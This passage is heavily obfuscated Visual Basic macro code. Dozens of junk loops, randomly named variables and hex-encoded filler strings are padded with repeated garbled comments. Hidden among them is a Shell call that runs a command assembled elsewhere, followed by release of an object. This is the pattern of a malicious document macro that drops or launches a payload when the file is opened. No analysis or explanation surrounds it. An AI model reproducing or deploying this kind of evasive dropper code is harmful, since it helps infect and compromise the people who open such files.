  1209. HaJaFCMQ = LTrim(fHZutbqj)
  1210. tJCTMIyl = RTrim(HaJaFCMQ)
  1211.  
  1212. Loop
  1213.  
  1214. Dim iJhKNsTU, mCzWANIK, lUTUbzgj As String
  1215. iJhKNsTU = GIYbonflbkpgerg("20202020202020202020205A5558544649202020202020202020202020202020")
  1216. mCzWANIK = LTrim(iJhKNsTU)
  1217. lUTUbzgj = RTrim(mCzWANIK)
  1218.  
  1219. AjBfgAtB = LTrim(hqdqDFzF)
  1220.  
  1221. Dim xSohqnGS As Integer
  1222. Dim PXIuVpWZ, YCKllglE, AVeRDlHR As String
  1223. PXIuVpWZ = GIYbonflbkpgerg("202020202020202020202042534C494A42202020202020202020202020202020")
  1224. YCKllglE = LTrim(PXIuVpWZ)
  1225. AVeRDlHR = RTrim(YCKllglE)
  1226.  
  1227. xSohqnGS = 5
  1228. Do While xSohqnGS < 32
  1229. Dim zggETKdB, UqCVKdtJ, dyRltIXI As String
  1230. zggETKdB = GIYbonflbkpgerg("20202020202020202020204F464C555846202020202020202020202020202020")
  1231. UqCVKdtJ = LTrim(zggETKdB)
  1232. dyRltIXI = RTrim(UqCVKdtJ)
  1233.  
  1234. DoEvents: xSohqnGS = xSohqnGS + 1
  1235. Dim SElauWCQ, alcRdYol, ERSvXrKD As String
  1236. SElauWCQ = GIYbonflbkpgerg("20202020202020202020204F434F464649202020202020202020202020202020")
  1237. alcRdYol = LTrim(SElauWCQ)
  1238. ERSvXrKD = RTrim(alcRdYol)
  1239.  
  1240. Loop
  1241.  
  1242. Dim uvuTxiRz, lRLIBWId, TPTQnOQc As String
  1243. uvuTxiRz = GIYbonflbkpgerg("20202020202020202020205A434B424259202020202020202020202020202020")
  1244. lRLIBWId = LTrim(uvuTxiRz)
  1245. TPTQnOQc = RTrim(lRLIBWId)
  1246.  
  1247. bzZadEPc = RTrim(AjBfgAtB)
  1248.  
  1249.  
  1250. Dim rHGDMvME As Integer
  1251. Dim tybecbkK, ayOgKRFL, XuMnsIsM As String
  1252. tybecbkK = GIYbonflbkpgerg("20202020202020202020204F4A47594559202020202020202020202020202020")
  1253. ayOgKRFL = LTrim(tybecbkK)
  1254. XuMnsIsM = RTrim(ayOgKRFL)
  1255.  
  1256. rHGDMvME = 4
  1257. Do While rHGDMvME < 93
  1258. Dim RTzRyBqn, oAPBllek, FxkmYGMp As String
  1259. RTzRyBqn = GIYbonflbkpgerg("202020202020202020202043584449504B202020202020202020202020202020")
  1260. oAPBllek = LTrim(RTzRyBqn)
  1261. FxkmYGMp = RTrim(oAPBllek)
  1262.  
  1263. DoEvents: rHGDMvME = rHGDMvME + 1
  1264. Dim rVktfVNm, lDcIlOse, WBSZzuWx As String
  1265. rVktfVNm = GIYbonflbkpgerg("20202020202020202020204B494F484A4F202020202020202020202020202020")
  1266. lDcIlOse = LTrim(rVktfVNm)
  1267. WBSZzuWx = RTrim(lDcIlOse)
  1268.  
  1269. Loop
  1270.  
  1271. Dim sATHAkic, psoZblDC, wkWTaiJi As String
  1272. sATHAkic = GIYbonflbkpgerg("2020202020202020202020524252525A51202020202020202020202020202020")
  1273. psoZblDC = LTrim(sATHAkic)
  1274. wkWTaiJi = RTrim(psoZblDC)
  1275.  
  1276.     ZSRRRRLDPOA = Shell(DUBGHDQFXFU, 1)
  1277.  
  1278. Dim kjrOvSIT, fkfWLJyY, okcudWEU As String
  1279.  
  1280. Dim jxzFEpbR As Integer
  1281. Dim lyIwojxh, fuKIEmMj, pieMCbkk As String
  1282. lyIwojxh = GIYbonflbkpgerg("20202020202020202020204F554749554F202020202020202020202020202020")
  1283. fuKIEmMj = LTrim(lyIwojxh)
  1284. pieMCbkk = RTrim(fuKIEmMj)
  1285.  
  1286. jxzFEpbR = 4
  1287. Do While jxzFEpbR < 33
  1288. Dim fBylkzwl, LMDFRxdp, vHmpJKtz As String
  1289. fBylkzwl = GIYbonflbkpgerg("20202020202020202020204759465A474C202020202020202020202020202020")
  1290. LMDFRxdp = LTrim(fBylkzwl)
  1291. vHmpJKtz = RTrim(LMDFRxdp)
  1292.  
  1293. DoEvents: jxzFEpbR = jxzFEpbR + 1
  1294. Dim hqcPuGRJ, RaEfdnHb, usKiXVbM As String
  1295. hqcPuGRJ = GIYbonflbkpgerg("2020202020202020202020564653594654202020202020202020202020202020")
  1296. RaEfdnHb = LTrim(hqcPuGRJ)
  1297. usKiXVbM = RTrim(RaEfdnHb)
  1298.  
  1299. Loop
  1300.  
  1301. Dim TIQlYhtT, KFcwieoH, HvaoytFg As String
  1302. TIQlYhtT = GIYbonflbkpgerg("2020202020202020202020465A554C5250202020202020202020202020202020")
  1303. KFcwieoH = LTrim(TIQlYhtT)
  1304. HvaoytFg = RTrim(KFcwieoH)
  1305.  
  1306. kjrOvSIT = GIYbonflbkpgerg("2020202020202020202020475852585244202020202020202020202020202020")
  1307.  
  1308. Dim cRJUdpdM As Integer
  1309. Dim XoUYQOSS, KpJKyFpD, DqarnKYF As String
  1310. XoUYQOSS = GIYbonflbkpgerg("2020202020202020202020544C4C575051202020202020202020202020202020")
  1311. KpJKyFpD = LTrim(XoUYQOSS)
  1312. DqarnKYF = RTrim(KpJKyFpD)
  1313.  
  1314. cRJUdpdM = 5
  1315. Do While cRJUdpdM < 16
  1316. Dim PVCyCfrH, ZgDJFmll, ipwsaGqs As String
  1317. PVCyCfrH = GIYbonflbkpgerg("2020202020202020202020554846454D4B202020202020202020202020202020")
  1318. ZgDJFmll = LTrim(PVCyCfrH)
  1319. ipwsaGqs = RTrim(ZgDJFmll)
  1320.  
  1321. DoEvents: cRJUdpdM = cRJUdpdM + 1
  1322. Dim lqizlPbJ, XwwXeuoq, qsAnoLmL As String
  1323. lqizlPbJ = GIYbonflbkpgerg("2020202020202020202020554249434F57202020202020202020202020202020")
  1324. XwwXeuoq = LTrim(lqizlPbJ)
  1325. qsAnoLmL = RTrim(XwwXeuoq)
  1326.  
  1327. Loop
  1328.  
  1329. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1330. Dim MUWMhCbM, yDUCKQZt, kLlNlbYg As String
  1331. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1332. MUWMhCbM = GIYbonflbkpgerg("2020202020202020202020575A53595841202020202020202020202020202020")
  1333. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1334. yDUCKQZt = LTrim(MUWMhCbM)
  1335. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1336. kLlNlbYg = RTrim(yDUCKQZt)
  1337.  
  1338. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1339. fkfWLJyY = LTrim(kjrOvSIT)
  1340.  
  1341. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1342. Dim UvLvKrRV As Integer
  1343. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1344. Dim QaeVjRAm, YafpPIBw, ZzcwtDxx As String
  1345. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1346. QaeVjRAm = GIYbonflbkpgerg("2020202020202020202020424652524E4F202020202020202020202020202020")
  1347. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1348. YafpPIBw = LTrim(QaeVjRAm)
  1349. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1350. ZzcwtDxx = RTrim(YafpPIBw)
  1351.  
  1352. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1353. UvLvKrRV = 7
  1354. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1355. Do While UvLvKrRV < 87
  1356. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1357. Dim DqcjAnWt, lyyQFWSC, qxXxTzzn As String
  1358. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1359. DqcjAnWt = GIYbonflbkpgerg("202020202020202020202049585A4F4F42202020202020202020202020202020")
  1360. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1361. lyyQFWSC = LTrim(DqcjAnWt)
  1362. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1363. qxXxTzzn = RTrim(lyyQFWSC)
  1364.  
  1365. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1366. DoEvents: UvLvKrRV = UvLvKrRV + 1
  1367. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1368. Dim eFpuVMRr, kRhPrTHS, MHERDeby As String
  1369. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1370. eFpuVMRr = GIYbonflbkpgerg("20202020202020202020204A45544A4F55202020202020202020202020202020")
  1371. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1372. kRhPrTHS = LTrim(eFpuVMRr)
  1373. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1374. MHERDeby = RTrim(kRhPrTHS)
  1375.  
  1376. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1377. Loop
  1378.  
  1379. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1380. Dim pjEhmsTj, izuzlfqG, liLtMagN As String
  1381. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1382. pjEhmsTj = GIYbonflbkpgerg("2020202020202020202020454D454A5649202020202020202020202020202020")
  1383. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1384. izuzlfqG = LTrim(pjEhmsTj)
  1385. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1386. liLtMagN = RTrim(izuzlfqG)
  1387.  
  1388. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1389. okcudWEU = RTrim(fkfWLJyY)
  1390.  
  1391.  
  1392. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1393. Dim JlLvWGPH As Integer
  1394. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1395. Dim OJrpvipG, RJfwLsUH, nKcUfjtK As String
  1396. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1397. OJrpvipG = GIYbonflbkpgerg("2020202020202020202020564F52505243202020202020202020202020202020")
  1398. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1399. RJfwLsUH = LTrim(OJrpvipG)
  1400. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1401. nKcUfjtK = RTrim(RJfwLsUH)
  1402.  
  1403. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1404. JlLvWGPH = 9
  1405. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1406. Do While JlLvWGPH < 16
  1407. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1408. Dim VAtNsOpx, EcSmvrzf, ilmHQvLy As String
  1409. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1410. VAtNsOpx = GIYbonflbkpgerg("202020202020202020202046544C4E4145202020202020202020202020202020")
  1411. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1412. EcSmvrzf = LTrim(VAtNsOpx)
  1413. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1414. ilmHQvLy = RTrim(EcSmvrzf)
  1415.  
  1416. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1417. DoEvents: JlLvWGPH = JlLvWGPH + 1
  1418. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1419. Dim WqwmDdGV, paABKBaY, SsHLAxPa As String
  1420. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1421. WqwmDdGV = GIYbonflbkpgerg("202020202020202020202044465156524A202020202020202020202020202020")
  1422. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1423. paABKBaY = LTrim(WqwmDdGV)
  1424. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1425. SsHLAxPa = RTrim(paABKBaY)
  1426.  
  1427. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1428. Loop
  1429.  
  1430. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1431. Dim zFPannqA, fMxregfS, sTBHajMs As String
  1432. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1433. zFPannqA = GIYbonflbkpgerg("2020202020202020202020425459504147202020202020202020202020202020")
  1434. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1435. fMxregfS = LTrim(zFPannqA)
  1436. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1437. sTBHajMs = RTrim(fMxregfS)
  1438.  
  1439. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1440.    Set SXGGPOLSDDD = Nothing
  1441. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1442. Dim SlusTlbj, jgFYKFjo, pTTkOWYS As String
  1443.  
  1444. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1445. Dim PiqkFLnq As Integer
  1446. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1447. Dim fMXCTWMq, oWypNNks, tWjwmrGd As String
  1448. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1449. fMXCTWMq = GIYbonflbkpgerg("202020202020202020202044514E52554A202020202020202020202020202020")
  1450. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1451. oWypNNks = LTrim(fMXCTWMq)
  1452. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1453. tWjwmrGd = RTrim(oWypNNks)
  1454.  
  1455. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1456. PiqkFLnq = 8
  1457. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1458. Do While PiqkFLnq < 94
  1459. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1460. Dim iwIsstVm, DjjYbnHd, ksVaSWUr As String
  1461. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1462. iwIsstVm = GIYbonflbkpgerg("2020202020202020202020534A45564457202020202020202020202020202020")
  1463. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1464. DjjYbnHd = LTrim(iwIsstVm)
  1465. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1466. ksVaSWUr = RTrim(DjjYbnHd)
  1467.  
  1468. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1469. DoEvents: PiqkFLnq = PiqkFLnq + 1
  1470. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1471. Dim bDcHncol, FEZlYomz, jFJfhYrx As String
  1472. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1473. bDcHncol = GIYbonflbkpgerg("2020202020202020202020455A514F5658202020202020202020202020202020")
  1474. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1475. FEZlYomz = LTrim(bDcHncol)
  1476. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1477. jFJfhYrx = RTrim(FEZlYomz)
  1478.  
  1479. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1480. Loop
  1481.  
  1482. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1483. Dim NrFdMQtK, spnhxbie, chdlVfqf As String
  1484. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1485. NrFdMQtK = GIYbonflbkpgerg("2020202020202020202020564449485157202020202020202020202020202020")
  1486. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1487. spnhxbie = LTrim(NrFdMQtK)
  1488. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1489. chdlVfqf = RTrim(spnhxbie)
  1490.  
  1491. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1492. SlusTlbj = GIYbonflbkpgerg("2020202020202020202020554E4C595157202020202020202020202020202020")
  1493.  
  1494. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1495. Dim QeRFYDAy As Integer
  1496. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1497. Dim DWLSBahs, OWeVlyDd, RXdqFpqf As String
  1498. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1499. DWLSBahs = GIYbonflbkpgerg("20202020202020202020204E5156564A4D202020202020202020202020202020")
